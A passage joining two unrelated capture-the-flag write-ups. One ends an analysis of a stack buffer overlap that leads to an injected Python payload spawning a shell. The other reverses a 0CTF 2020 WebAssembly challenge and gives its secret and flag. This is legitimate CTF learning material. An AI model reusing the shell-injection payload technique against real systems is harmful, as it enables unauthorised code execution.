`eval_python_base_256(pointer)` will push the return address, making the stack pointer `549`. Then at the start of `memcpy_from_base256_to_base_161051(dest, src)`, three pushes are made, so that the stack pointer will become `546`.
Now the length of the input is calculated, and copied to `REG7`. This is without the zero byte at the end, but `REG7` is incremented to count that as well. Then this length plus zero byte many words are allocated on the stack, and the source string is copied (including the zero byte at the end).
From `404` (inclusive) to `546` (not inclusive) there are `142` words, which is `2*71`. This means that if the string being copied here (our input with prefix and suffix, including the zero byte at the end) is longer than `71` words, then there will be an overlap.
Concretely, as the `memcpy` function proceeds wordswise from the bottom, it some of the later words in the source buffer will have been already overwritten with the *beginning* of the source buffer, as these words also act as the beginning of the *destination* buffer.
To explain this better, let us assume that the distance between the buffer start and the stack were `20` rather than `142` words, and suppose the input we give would be `ABCDE`. Then before the copying, the relevant part of the memory would look like this, where address `0` here corresponds to `404` in the real memory layout.
```| Address | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 || 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 || Content | _ | * | ' | A | B | C | D | E || \ | n | ' | \0 | | | | | | | | |```The length is taken with the zero byte as explained above, so in this case we get `12`, which means words `0` through `11` will be copied to words `8` through `19`.
So the `memcpy` function begins copying, beginning with the first word, yielding the following.```| Address | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 || 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 || Content | _ | * | ' | A | B | C | D | E || _ | n | ' | \0 | | | | | | | | |```After two more words being copied we are left with this:```| Address | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 || 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 || Content | _ | * | ' | A | B | C | D | E || _ | * | ' | \0 | | | | | | | | |```And after a total of 8 words have been copied this is the situation.```| Address | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 || 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 || Content | _ | * | ' | A | B | C | D | E || _ | * | ' | A | B | C | D | E | | | | |```Note that now the very next word to be copied is word `8` being copied to word `16`. But we already modified word `8`. So now we are copying the beginning of our string.```| Address | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 || 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 || Content | _ | * | ' | A | B | C | D | E || _ | * | ' | A | B | C | D | E | _ | | | |```Finally, the end result will be the following.```| Address | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 || 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 || Content | _ | * | ' | A | B | C | D | E || _ | * | ' | A | B | C | D | E | _ | * | ' | A |```
One thing to note additionally is that before the call to `memcpy`, the two words on the stack just below the buffer that is copied to will be overwritten. This causes the `D` and `E` characters that are here at addresses `6` and `7` to be overwritten by junk. So we can not count on a couple of bytes of payload in that range.
So now let us calculate how exactly our payload will be transformed. Assume that the string we input, without the concluding newline, is `n` bytes long. Then, after concatenation with prefix and suffix and the final zero byte the total length will be `n+7`. We certainly need `n+7 > 71` to have the described effect, so let us write `n+7 = 71 + m`, where `m>0`. Then the copy on the stack will begin at offset `71 - m` of the original string. This means that the first `71 - m` characters will be the original ones, and starting with character indexed by `71 - m` there will be `2m` characters from the beginning again, with no further wraparound happening as long as `2m < 71 - m`, which is equivalent to `m <= 23`.
If the evaluated string is of the form `_*'???'+CODE#???`, where the `???` stand for some junk that isn't relevant (but in the first one not all characters are allowed, for example a single quote would be problematic) and `CODE` stands for python code to be evaluated such as `os.system("sh")`, then this will print the first junk string, then evaluate our Python code, and then thow an exception due to not being able to add values of certain types.
We can now achieve such a string being evaluated by inputting a string consisting of `+` concatenated with the Python code we want to run, and which we assume to be of length `c`, concatenated with `#` and a string of `k` copies of `A`s, for a certain value of `k`.
So what value of `k` should we choose? We will have `n = 1 + c + 1 + k = 2 + c + k`. This implies that`m = n + 7 - 71 = 2 + c + k + 7 - 71 = c + k - 62`.The condition `m > 0` that we need to have the overlap effect at all then implies `k > 62 - c`.The condition `m <= 23` that we need to avoid a second overlap then implies `k <= 85 - c`.Then we need the string up to the full code we want to evaluate to be part of the copied beginning. Thus `3 + 1 + c <= 2m` is required, as exactly `2m` characters from the start reoccur. This is equivalent to`4 + c <= 2*c + 2*k - 2*62` and thus to`2 + 62 - c/2 <= k`, so that we also need`k >= 64 - c/2`.Note that `64 - c/2 > 62 - c`, so this condition is stronger than `k > 62 - c`.
Finally, recall the two junk bytes we get just below destination buffer due to something being written on the stack.We don't want that to overwrite our code or `#` following it. So those two bytes will have offsets `71 - m - 2` and `71 - m -1`.We thus need `3 + 1 + c + 1 < 71 - m - 2`, which is equivalent to`5 + c < 69 - m`, which is equivalent to`5 + c < 69 - c - k + 62`, which is equivalent to`k < 126 - 2c`.
We thus conclude in the end that we must have```64 - c/2 <= k <= 85 - cand0 <= k < 126 - 2c```The first inequality can be satisfied with nonnegative `k` as long as the upper bound is at least `0` and the lower bound is at most the upper bound.The first condition comes down to `c <= 85`. The second condition means`64 - c/2 <= 85 - c` which is equivalent to`c/2 <= 21` which is equivalent to`c <= 42`.The last remaining condition is `k < 126 - 2c`, which is equivalent to `(k + c) + c < 126`. Note that if `c <= 40`, then this will be satisfied as `k + c <= 85`. If instead `c = 41` then we will need to have `k >= 44`, which implies `k + 2c >= 129`, so here there is no solution for `k`, and similarly if `c = 42` then `k >= 43`, but `43 + 2*42 = 127`. So the upshot is that for a solution to exist we must have `c <= 40`.
There is yet another constraint that we need to be aware of. If we use up too much of the stack, then the stack will grow too far and overwrite instructions and crash the program. Similarly, recall from the previous vulnerability/exploit that the base 11 version of our full payload should be maximum `42` words long. This latter condition comes down to`(n + 7)*log(2**8, 11**5) <= 42`which is equivalent to`9 + c + k <= 90`and hence `k <= 81 - c`.Empirically it seems that with these restrictions we do not run into problems with the stack.
Thus the procedure to obtain the payload is as follows:
1. Begin with Python code to execute of length `c <= 40`.2. Choose a nonnegative integer `k` satisfying `64 - c/2 <= k <= 81 - c`.3. Take the concatenation of `+` with the code, then `#`, and then `k` many other characters (and at the end a newline).
This has been implemented in `runme15.py`, where such a payload is prepared and tried in the emulator. One such payload can also be found in `solve.py` to try on the challenge remotely.
# Final comments
During the competition I found and used the solution using the buffer overflow to write instructions that get called later. I worked through the first night of the contest for that, and it took me several hours at the end to cook up the payload satisfying all the required properties. This was way longer than it should have taken, and I made about every mistake possible (e.g. getting confused multiple times on where the prefix is contained or not in what I am currently looking at, and so on) and needed a while to figure out that I should construct the payload beginning from the most significant end. I think I would have likely been able to do this faster if I had been less tired, so my takeaway is to be more diligent with sleeping the next time.
The second solution I presented here, using the buffer overlap to copy the single quote from the start into the string, seems to be the vulnerability that the second team that solved the challenge, `Too young to win defcon, too old to win ecsc`, used. |
## 0CTF 2020 - W (Reversing 523)##### 29/06 - 01/07/2020 (48hr)___
### Description
-
___
### Solution
This is [WebAssembly](https://webassembly.org/) challenge:```ispo@ispo-glaptop2:~/ctf/0ctf_2020/W$ file wwww: WebAssembly (wasm) binary module version 0x1 (MVP)
ispo@ispo-glaptop2:~/ctf/0ctf_2020/W$ ./wasm3 wwSecret: ?ispohmmm...
ispo@ispo-glaptop2:~/ctf/0ctf_2020/W$ rewasm/target/release/rewasm ww > decomp.wasm```
The good news about [WebAssembly](https://webassembly.org/) binaries is that they can be decompiled.A quick search shows several available decompilers.We will use [ReWasm](https://github.com/benediktwerner/rewasm) and[JEB Pro](https://www.pnfsoftware.com/). Let's load `ww` binary on JEB Pro. Program starts fromfunction `__f13` (we can easily find that by checking the XREFs to the `Secret: ?` string). Weclean it up a little and we rename the functions:```cint main__f13(int param0, int param1) { int v0 = __g0 - 112;
__g0 -= 112; *(int*)(v0 + 108) = 0; *(int*)(v0 + 104) = param0; *(int*)(v0 + 100) = param1; setvbuf__f264(0, 2, 0, gvar_5B40_); setvbuf__f264(0, 2, 0, gvar_5B44); *(int*)v0 = 0; int fp = open__f246(v0, 0, "/dev/urandom"); *(int*)(v0 + 96) = fp; *(long long*)(v0 + &gvar_20_secret) = 0L; *(long long*)(v0 + 88) = 0L; *(long long*)(v0 + 80) = 0L; *(long long*)(v0 + 72) = 0L; *(long long*)((int*)((int)&gvar_20_secret + v0) + &gvar_8) = 0L; *(long long*)((int*)((int)&gvar_18 + v0) + &gvar_8) = 0L; *(unsigned long long*)((int*)((int)&gvar_10 + v0) + &gvar_8) = 0L; *(long long*)((int*)((int)&gvar_8 + v0) + &gvar_8) = 0L; print__f258(0x5615); // Secret: int v2 = fgets__f263(gvar_5B40_, 64, v0 + &gvar_20_secret); // secret is up to 64 bytes if(v2 == 0) { *(int*)(v0 + 108) = -1; } else { int secret_len = strlen__f292(v0 + &gvar_20_secret); *(char*)(v0 + secret_len + &gvar_20_secret) = 0; int buf = calloc__f238(1, (int)(gvar_5604_buflen + 1)); // 0x5201 *(int*)((int)&gvar_1C_buf + v0) = buf; if(*(unsigned int*)((int)&gvar_1C_buf + v0) == 0) { *(int*)(v0 + 108) = -1; } else { memcpy__f291(gvar_5604_buflen, &ENC_BUF_START, *(int*)((int)&gvar_1C_buf + v0)); unpack__f42(v0 + &gvar_20_secret, gvar_5604_buflen, *(int*)((int)&gvar_1C_buf + v0)); int v5 = *(int*)((int)&gvar_1C_buf + v0); int buf = gvar_5604_buflen; int len = strlen__f292("Welcome to 0CTF/TCTF 2020! Have a g00d time"); // *0x5604 is 0x5200 int start = memmem__f293(len, "Welcome to 0CTF/TCTF 2020! Have a g00d time", buf, v5); if(!start) { print__f258("hmmm..."); *(int*)(v0 + 108) = 0; } else { print__f258("Loading..."); // unpacking successful int v9 = load_wasm__f33(gvar_5604_buflen, *(int*)((int)&gvar_1C_buf + v0)); *(int*)((int)&gvar_18 + v0) = v9; int v10 = init_interpreter__f43(*(int*)((int)&gvar_18 + v0)); *((int*)((int)&gvar_10 + v0) + 1) = v10; load_data_section__f46(*((int*)((int)&gvar_10 + v0) + 1)); load_globals__f47(*((int*)((int)&gvar_10 + v0) + 1)); print__f258("Go Go Go!!"); int res = run__f52(22, *((int*)((int)&gvar_10 + v0) + 1)); // start execution from function 22 *(int*)((int)&gvar_10 + v0) = res; free_interpreter__f45(*((int*)((int)&gvar_10 + v0) + 1)); free_wasm_obj__f41(*(int*)((int)&gvar_18 + v0)); free__f236(*(int*)((int)&gvar_1C_buf + v0)); if(*(int*)(v0 + 96) != -1) { // fp from urandom close__f242(*(int*)(v0 + 96)); } *(int*)(v0 + 108) = *(int*)((int)&gvar_10 + v0); } } }
int result = *(int*)(v0 + 108); __g0 = v0 + 112; return result;}```
Unfortunately, JEB does not recognize standard functions (for instance `memcpy` is shown as `__f291`in JEB). However, ReWasm can determine function names as you can see:```c puts(22058); var_32 = load<i32>(var_2 + 28); var_33 = load<i32>(0 + 22020); var_34 = load_wasm(var_32, var_33); store<i32>(var_2 + 24, var_34) var_35 = load<i32>(var_2 + 24); var_36 = init_interpreter(var_35); store<i32>(var_2 + 20, var_36) var_37 = load<i32>(var_2 + 20); load_data_section(var_37); var_38 = load<i32>(var_2 + 20); load_globals(var_38); puts(22069); var_39 = load<i32>(var_2 + 20); var_40 = run(var_39, 22); store<i32>(var_2 + 16, var_40) var_41 = load<i32>(var_2 + 20); free_interpreter(var_41); var_42 = load<i32>(var_2 + 24); free_wasm_obj(var_42); var_43 = load<i32>(var_2 + 28); free(var_43); var_44 = load<i32>(var_2 + 96); var_45 = var_44 != -1 & 1; if var_45 != 0 { var_46 = load<i32>(var_2 + 96); close(var_46); } var_47 = load<i32>(var_2 + 16); store<i32>(var_2 + 108, var_47)```
Therefore, we simply rename JEB functions based on ReWasm output. Let's now see how program works.First it computes the length of the secret input and then allocates a buffer of size `5201h` bytes:```cint secret_len = strlen__f292(v0 + &gvar_20_secret);*(char*)(v0 + secret_len + &gvar_20_secret) = 0;
int buf = calloc__f238(1, (int)(gvar_5604_buflen + 1)); // 0x5201*(int*)((int)&gvar_1C_buf + v0) = buf;```
```.data:00005604 gvar_5604_buflen dd 5200h ; xref: main__f13+2A2h (data-adv) / main__f13+280h (data-adv) / main__f13+1D5h (data-adv) / main__f13+255h (data-adv) / main__f13+31Ch (data-adv)```
Then program copies `5200h` bytes from address `400h` (`ENC_BUF_START`) into buffer:```cmemcpy__f291(gvar_5604_buflen, &ENC_BUF_START, *(int*)((int)&gvar_1C_buf + v0));```
Let's see teh contents at address `400h`:```.data:00000400 ENC_BUF_START db 9Ah.data:00000401 db B6h, A9h, E9h, 95h, CFh, BEh, DCh, B7h, EDh, CBh, F3h, 9Bh, "z6h".data:00000410 db '!', 1Eh, 0, 'f', 81h, 'g', 19h, FFh, AFh, 97h, 'y', 0, F9h, A6h, AEh, 11h.data:00000420 db 0Bh, C5h, ACh, 1Eh, 3, 'T', A6h, 'E', A0h, C8h, 97h, D4h, ':', DBh, 14h, ABh......data:00005200 db 9Ah, BFh, F1h, C7h, FBh, " 'e", 0Eh, ',', 13h, 'K', 2, "`mN".data:00005210 db "N~", 0, "@ g", 19h, '8', 8, "1|", 2, "\`", 11h, '/'.data:00005220 db "K$K?", C7h, F7h, A6h, CBh, EBh, 83h, BCh, C4h, AEh, 8Dh, 'C', 0Bh.....```
Then program invokes a special `unpack` function that takes as input i) the secret (`param0`),ii) the size of the buffer which is `0x5200` (`param1`) and iii) the address of the newlyallocated buffer (`param2`):```cunpack__f42(v0 + &gvar_20_secret, gvar_5604_buflen, *(int*)((int)&gvar_1C_buf + v0));```
Finally, program verifies if unpacking is successfully or not, by searching in the "unpacked" bufferfor the presence of the `Welcome to 0CTF/TCTF 2020! Have a g00d time` string. If this string is notfound the `hmmm...` message is printed and the program terminates. Otherwise, it moves on with the execution of the second stage payload:```cint v5 = *(int*)((int)&gvar_1C_buf + v0);int buf = gvar_5604_bufaddr;int len = strlen__f292("Welcome to 0CTF/TCTF 2020! Have a g00d time"); // *0x5604 is 0x5200int start = memmem__f293(len, "Welcome to 0CTF/TCTF 2020! Have a g00d time", buf, v5);if(!start) { puts__f258("hmmm..."); *(int*)(v0 + 108) = 0;}else { print__f258("Loading..."); // unpacking successful /* .... */}```
### Reversing the Unpacking Routine
Unfortunately, JEB fails to decompile `unpack`, so we switch to ReWasm:```cvoid unpack__f42(int par0, int par1, int par2) { // Decompilation error}
```
```c// Function 42fn unpack(i32 arg_0, i32 arg_1, i32 arg_2) { var_3 = 0; /* ... */ var_42 = 0; var_43 = global_0 - 48; store<i32>(var_43 + 44, arg_0) // buf gl0_b = global_0 - 48; store<i32>(gl0_b + 40, arg_1) // buflen = 0x5200 gl0_c = global_0 - 48; store<i32>(gl0_c + 36, arg_2) // flag gl0_d = global_0 - 48; var_47 = load<i32>(gl0_d + 40); // g40 = buflen if (var_47 & 511) == 0 { // 0x5200 & 0x1FF == 0 ? yes! gl0_e = global_0 - 48; var_49 = load<i32>(gl0_e + 40); // g40 = buflen gl0_e = global_0 - 48; var_51 = var_49 >>u 9; // buflen >> 9 store<i32>(gl0_e + 32, var_51) // g32 = buflen >> 9 gl0_g = global_0 - 48; var_53 = load<i32>(gl0_g + 44); gl0_h = global_0 - 48; store<i32>(gl0_h + 28, var_53) // g28 = buf gl0_i = global_0 - 48; store<i32>(gl0_i + 24, 0) // g24 = i = 0 while true { gl0_j = global_0 - 48; var_57 = load<i32>(gl0_j + 24); // i gl0_k = global_0 - 48; var_59 = load<i32>(gl0_k + 32); // buflen >> 9 var_60 = var_57 > 9) ? if var_60 == 0 { break; // if not break } gl0_l = global_0 - 48; store_8<i32>(gl0_l + 23, 255) // g23 = 255 = a gl0_m = global_0 - 48; store<i32>(gl0_m + 16, 0) // g16 = j = 0 while true { gl0_n = global_0 - 48; var_64 = load<i32>(gl0_n + 16); // g16 = j var_65 = var_64 (gl0_o + 16); // j var_3 = var_67; var_4 = 31; var_5 = var_67 & 31; gl0_p = global_0 - 48; var_69 = var_67 & 31; store_8<i32>(gl0_p + 15, var_69) // g15 = j & 0x1F gl0_q = global_0 - 48; var_71 = load<i32>(gl0_q + 36); // g36 = flag var_6 = var_71; gl0_r = global_0 - 48; var_73 = load_8u<i32>(gl0_r + 15); // g15 = j & 0x1F var_7 = var_73; var_8 = 255; var_9 = var_73 & 255; var_10 = var_71 + (var_73 & 255); // & flag + (j & 0x1F) var_74 = load_8u<i32>(var_10); // f = flag[j & 0x1F] => Flag is 31 characters! var_11 = var_74; var_12 = 255; var_13 = var_74 & 255; gl0_s = global_0 - 48; var_76 = load_8u<i32>(gl0_s + 23); // g23 = a var_14 = var_76; var_15 = 24; var_16 = var_76 << 24; var_17 = var_76 << 24 >>s 24; // (a << 24) >> 24 ? ~> a var_18 = var_74 & 255 ^ var_17; // flag[j & 0x1F] ^ a gl0_t = global_0 - 48; var_78 = load<i32>(gl0_t + 28); // g28 = buf var_19 = var_78; gl0_u = global_0 - 48; var_80 = load<i32>(gl0_u + 16); // g16 = j var_20 = var_80; var_21 = var_78 + var_80; var_81 = load_8u<i32>(var_78 + var_80); // buf[j] var_22 = var_81; var_23 = 255; var_24 = var_81 & 255; var_25 = var_18 ^ var_81 & 255; // flag[j & 0x1F] ^ a ^ buf[j] gl0_v = global_0 - 48; store_8<i32>(gl0_v + 14, var_25) // g14 = flag[j & 0x1F] ^ a ^ buf[j] gl0_w = global_0 - 48; var_84 = load<i32>(gl0_w + 28); // g28 = buf var_26 = var_84; gl0_x = global_0 - 48; var_86 = load<i32>(gl0_x + 16); // g16 = i var_27 = var_86; var_28 = var_84 + var_86; var_87 = load_8u<i32>(var_84 + var_86); // buf[j] var_29 = var_87; gl0_y = global_0 - 48; store_8<i32>(gl0_y + 23, var_87) // g23 = a = buf[j] gl0_z = global_0 - 48; var_90 = load_8u<i32>(gl0_z + 14); // g14 = flag[j & 0x1F] ^ a ^ buf[j] var_30 = var_90; var_31 = 255; var_32 = var_90 & 255; gl0_aa = global_0 - 48; var_92 = load_8u<i32>(gl0_aa + 15); // g15 = j & 0x1F var_33 = var_92; var_34 = 255; var_35 = var_92 & 255; var_93 = var_92 & 255; var_36 = (var_90 & 255) - var_93; // flag[j & 0x1F] ^ a ^ buf[j] - (j & 0x1F) gl0_ab = global_0 - 48; var_95 = load<i32>(gl0_ab + 28); // g28 = buf var_37 = var_95; gl0_ac = global_0 - 48; var_97 = load<i32>(gl0_ac + 16); // g16 = j var_38 = var_97; var_39 = var_95 + var_97; store_8<i32>(var_95 + var_97, var_36) // buf[j] = flag[j & 0x1F] ^ a ^ buf[j] - (j & 0x1F) gl0_ad = global_0 - 48; var_99 = load<i32>(gl0_ad + 16); // g16 = j var_40 = var_99; var_41 = 1; var_42 = var_99 + 1; // j + 1 gl0_ae = global_0 - 48; var_101 = var_99 + 1; store<i32>(gl0_ae + 16, var_101) // g16 = j = j + 1 (++j) } var_102 = global_0 - 48; var_103 = load<i32>(var_102 + 28); // g28 = buf var_104 = global_0 - 48; var_105 = var_103 + 512; store<i32>(var_104 + 28, var_105) // g28 = buf = buf + 512 (move on the next chunk) var_106 = global_0 - 48; var_107 = load<i32>(var_106 + 24); // g24 = i = outer iterator var_108 = global_0 - 48; var_109 = var_107 + 1; // ++i store<i32>(var_108 + 24, var_109) // g24 = i + 1 } } return;}```
Let's decompile this function into Python:```pythondef unpack(buf, buflen, secret): """Unpacks the WebAssebmly stage 2 payload.""" for i in range(0, buflen >> 9): a = 255 for j in range(512): b = ord(secret[j & 0x1F]) ^ a ^ buf[i*512 + j] a = buf[i*512 + j]
buf[i*512 + j] = (b - (j & 0x1F)) & 0xFF
return buf```
That's quite simple isn't it? **Each byte of the buffer is XORed with the next character from the secret and the previous plaintext byte of the buffer**. We also know (from `j & 0x1F` part) thatthe **secret is 32 characters long**.
### Cracking the Unpacking Routine
The question now, is how to find the secret? We know that somewhere in the decrypted buffer, thereis the string `Welcome to 0CTF/TCTF 2020! Have a g00d time`, so we can leverage that to do a*Known Plaintext Attack*. If we know the position of the plaintext string in the buffer, we canapply the reverse algorithm and recover the secret. Since the buffer is small only (`5200h` bytes),we can brute force the starting position and check which decryption yields to a meaningful secret(i.e., is ASCII printable). Here's how we do that:```python# Brute force plaintext location inside buf. for i in range(len(buf) - len(plain)): secret = [0]*32
for k in range(0, len(plain)): j = (i + k) & 0x1F
b = (plain[k] + (j & 0x1F)) & 0xFF a = buf[i + k - 1] if i + k - 1 > 0 else 255 secret[j] = b ^ a ^ buf[i + k] if all(x >= 0x20 and x <= 0x7e for x in secret): secret = ''.join(chr(s) for s in secret) print(f'[+] Secret FOUND at offset {i} : {secret}') break```
The above code finds a unique solution at offset `20346`: `eNj0y_weba5SemB1Y.lstrip("web")!`
We try the secret to see if it works:```ispo@ispo-glaptop2:~/ctf/0ctf_2020/W$ ./wasm3 wwSecret: ?eNj0y_weba5SemB1Y.lstrip("web")!Loading...Go Go Go!!aoshine~ What's up?1. add pair2. dump pair3. check pair4. exit
```
For more details please refer to the [w_crack.py](./w_crack.py) script.
### Reversing Second Stage Payload
If we go back to main (`__f13`) we can see what program does with the decrypted buffer:```c print__f258("Loading..."); // unpacking successful int v9 = load_wasm__f33(gvar_5604_buflen, *(int*)((int)&gvar_1C_buf + v0)); *(int*)((int)&gvar_18 + v0) = v9; int v10 = init_interpreter__f43(*(int*)((int)&gvar_18 + v0)); *((int*)((int)&gvar_10 + v0) + 1) = v10; load_data_section__f46(*((int*)((int)&gvar_10 + v0) + 1)); load_globals__f47(*((int*)((int)&gvar_10 + v0) + 1)); print__f258("Go Go Go!!"); int res = run__f52(22, *((int*)((int)&gvar_10 + v0) + 1)); // start execution from function 22 *(int*)((int)&gvar_10 + v0) = res; free_interpreter__f45(*((int*)((int)&gvar_10 + v0) + 1)); free_wasm_obj__f41(*(int*)((int)&gvar_18 + v0)); free__f236(*(int*)((int)&gvar_1C_buf + v0));```
That is, we expect the decrypted buffer to also be a WebAssembly binary:```ispo@ispo-glaptop2:~/ctf/0ctf_2020/W$ file ww.stage2ww.stage2: WebAssembly (wasm) binary module version 0x1 (MVP)```
Let's load it again in JEB and start from function `22` (this is where `run__f52` starts from):```cint main__f22() { int* glo = __g0 - 0x118;
__g0 -= 0x118; *(glo + 0x117) = 0; int num_a = __f23((int)(gvar_400 * 12)); // 0x80 *(glo + 0x116) = num_a; if(*(glo + 0x116) == 0) { *(glo + 0x117) = -1; } else { int num_b = __f23((int)(gvar_400 * 4)); // 0x200 *(glo + 0x115) = num_b; if(*(glo + 0x115) == 0) { *(glo + 0x117) = -1; } else { int fp = open(0, 0, "/dev/urandom"); *(glo + 0x114) = fp; __f31(&gvar_400, 0, (int)(glo + 20)); *(glo + 19) = (int)(glo + 20); *(glo + 18) = &gvar_400; *(glo + 17) = 3; *(long long*)(glo + 8) = 0L; *(long long*)(glo + 14) = 0L; *(long long*)(glo + 12) = 0L; *(long long*)(glo + 10) = 0L; *(glo + 7) = -1; p_and_q__f7(*(glo + 0x116)); __f17((int)(gvar_400 * 4), -1, *(glo + 0x115)); puts__f20("aoshine~ What\'s up?\n"); *(glo + 6) = 0; while(1) { show_menu__f21(); read_str__f12(2, (int)(glo + 8), 0); int choice = read_inp__f18((int)(glo + 8)); *(glo + 7) = choice; if(*(glo + 7) == 1 && *(glo + 17) < gvar_400 && *(glo + 6) < &gvar_400) { goto NEW_PAIR; } else if(*(glo + 7) == 2) { DUMP_PAIR__f10(*(glo + 17), *(glo + 0x115), *(glo + 0x116)); continue; } if(*(glo + 7) == 3) { int chk_res = CHECK_PAIR__f3(*(*(unsigned int*)(glo + 0x116) + 7), *(*(unsigned int*)(glo + 0x116) + 4)); *(glo + 3) = chk_res; if(!*(glo + 3)) { // this must return non zero puts__f20(*(*(unsigned int*)(glo + 0x116) + 1)); puts__f20("hmmm, try again\n"); } else { itoa__f19((int)(glo + 8), *(glo + 3)); // secret number is 32-bits puts__f20("flag is: flag{secret+"); puts__f20((int)(glo + 8)); puts__f20("}\n"); continue; NEW_PAIR: puts__f20("input new pair:\n"); int len_maybe = read_str__f12(*(glo + 18) - *(glo + 6), *(glo + 19), 0); *(glo + 5) = len_maybe; if(*(glo + 5) <= 0) { *(glo + 0x117) = -1; break; } else if(*(glo + 5) + *(glo + 6) + 1 > &gvar_400) { continue; } else { *(glo + 6) = *(glo + 5) + *(glo + 6) + 1; *(char*)(*(glo + 5) + *(glo + 19)) = 0; int v6 = ADD_PAIR__f9(*(glo + 17), *(glo + 0x115), *(glo + 0x116), *(glo + 5), *(glo + 19)); *(glo + 4) = v6; if(*(glo + 4)) { goto loc_50002855; } else { puts__f20(*(*(unsigned int*)(glo + 0x116) + 1)); puts__f20(", bye~\n"); } } } } if(*(glo + 0x116) != 0) { __f25(*(glo + 0x116)); } if(*(glo + 0x115) != 0) { __f25(*(glo + 0x115)); } *(glo + 0x117) = 0; break; loc_50002855: *(glo + 17) = *(glo + 4) + *(glo + 17); *(glo + 19) = *(glo + 5) + *(glo + 19) + 1; } } }
int result = *(glo + 0x117); __g0 = glo + 0x118; return result;}```
```cvoid show_menu__f21() { puts__f20("1. add pair\n"); puts__f20("2. dump pair\n"); puts__f20("3. check pair\n"); puts__f20("4. exit\n");}```
Unfortunately, neither JEB not ReWasm provide function names (e.g., `itoa` or `puts`), but we caneasily recognize them by looking their input/output. Program shows a small menu where it can *add*,*dump* and *check* a pair (whatever that means) in a loop. Let's see how we can get the flag:```cint chk_res = CHECK_PAIR__f3(*(*(unsigned int*)(glo + 0x116) + 7), *(*(unsigned int*)(glo + 0x116) + 4));*(glo + 3) = chk_res;
if(!*(glo + 3)) { // this must return non zero puts__f20(*(*(unsigned int*)(glo + 0x116) + 1)); puts__f20("hmmm, try again\n");} else { itoa__f19((int)(glo + 8), *(glo + 3)); // secret number is 32-bits puts__f20("flag is: flag{secret+"); puts__f20((int)(glo + 8)); puts__f20("}\n");}```
Function `__f3` is responsible for implementing the `check pair` functionality. The input is a pairof numbers and the output must be non-zero:```c// Function 3fn func_3(i32 arg_0, i32 arg_1) -> i32 { /* ... */ var_2 = global_0 - 32; var_3 = global_0 - 32; global_0 = var_3; store<i32>(var_2 + 24, arg_0) // g24 = arg0 store<i32>(var_2 + 20, arg_1) // g20 = arg1 var_4 = load<i32>(var_2 + 24); // arg0 var_5 = var_4 != 0 & 1; var_6 = var_5 == 0; if !var_6 { // arg0 must be non-zero var_7 = load<i32>(var_2 + 20); // arg1 var_8 = var_7 != 0 & 1; var_9 = var_8; if var_9 { // arg1 must be non zero as well var_10 = load<i32>(var_2 + 24); var_11 = func_18(var_10); store<i32>(var_2 + 16, var_11) // g16 = func_18(arg0) var_12 = load<i32>(var_2 + 20); var_13 = func_18(var_12); store<i32>(var_2 + 12, var_13) // g12 = func_18(arg1) var_14 = load<i32>(var_2 + 16); var_15 = func_4(var_14); // func_4(func_18(arg0)) var_16 = var_15 == 0; if !var_16 { // must be nonzero var_17 = load<i32>(var_2 + 12); var_18 = func_4(var_17); // func_4(func_18(arg1)) var_19 = var_18; if var_19 { // must be nonzero too var_20 = load<i32>(var_2 + 16); var_21 = load<i32>(var_2 + 12); var_22 = var_21 * 87; var_23 = var_20 * 20 + var_22; store<i32>(var_2 + 8, var_23) // g8 = func_18(arg0)*20 + func_18(arg1)*87 var_24 = load<i32>(var_2 + 16); var_25 = load<i32>(var_2 + 12); var_26 = var_24 + var_25; store<i32>(var_2 + 4, var_26) // g4 = func_18(arg0) + func_18(arg1) var_27 = load<i32>(var_2 + 8); var_28 = var_27 == 20200627 & 1; // func_18(arg0)*20 + func_18(arg1)*87 == 20200627 var_29 = var_28 == 0; if !var_29 { // must be true var_30 = load<i32>(var_2 + 4); var_31 = var_30 == 249310 & 1; // func_18(arg0) + func_18(arg1) == 249310 } if var_29 || !var_29 && var_31 == 0 { store<i32>(var_2 + 28, 0) // g28 = 0 } else { var_32 = load<i32>(var_2 + 16); var_33 = load<i32>(var_2 + 12); var_34 = var_33 * 20; // func_18(arg1)*20 var_35 = var_32 * 20 + var_34; // func_18(arg0)*20 + func_18(arg1)*20 var_36 = var_35 + 628; store<i32>(var_2 + 28, var_36) // g28 = 20*(func_18(arg0) + func_18(arg1)) + 628 } } } if var_16 || !var_16 && !var_19 { store<i32>(var_2 + 28, 0) // g28 = 0 } } } if var_6 || !var_6 && !var_9 { store<i32>(var_2 + 28, 0) // g28 = 0 } var_37 = load<i32>(var_2 + 28); global_0 = var_2 + 32; return var_37; // return g28}```
Let's decompile this function into Python:```pythondef check_pair(arg0, arg1): """Checks if a pair of numbers is 'good'.""" if not func_4(func_18(arg0)) or not func_4(func_18(arg1)): return 0
if func_18(arg0)*20 + func_18(arg1)*87 != 20200627: return 0
if func_18(arg0) + func_18(arg1) != 249310: return 0
return 20*(func_18(arg0) + func_18(arg1)) + 628```
Function `func_4` is really long, but we do not really need to know what it does as it is onlyused for a check. Apart from that, function takes as input **2** numbers, `x` and `y` and checksif they satisfy the following equations:```20*x + 87*y = 20200627 x + y = 249310```
If `x` and `y` satisfy the above equations, function returns `20*(x + y) + 628` which is our flag.
This is a linear system of **2** equations, so it's very easy to find `x = 22229` and `y = 227081`.Then the expected return value of `check_pair` will be `4986828`.
So the flag is: `flag{eNj0y_weba5SemB1Y.lstrip("web")!+4986828}`
### Bonus: Verifying Flag in the Binary
At this point, the challenge was over (I already had the correct flag), but it was still unclear tome how to pass the right input to the program:```ispo@ispo-glaptop2:~/ctf/0ctf_2020/W$ ./wasm3 wwSecret: ?eNj0y_weba5SemB1Y.lstrip("web")!Loading...Go Go Go!!aoshine~ What's up?1. add pair2. dump pair3. check pair4. exit1input new pair:22229 2270811. add pair2. dump pair3. check pair4. exit3Welcome to 0CTF/TCTF 2020! Have a g00d timehmmm, try again```
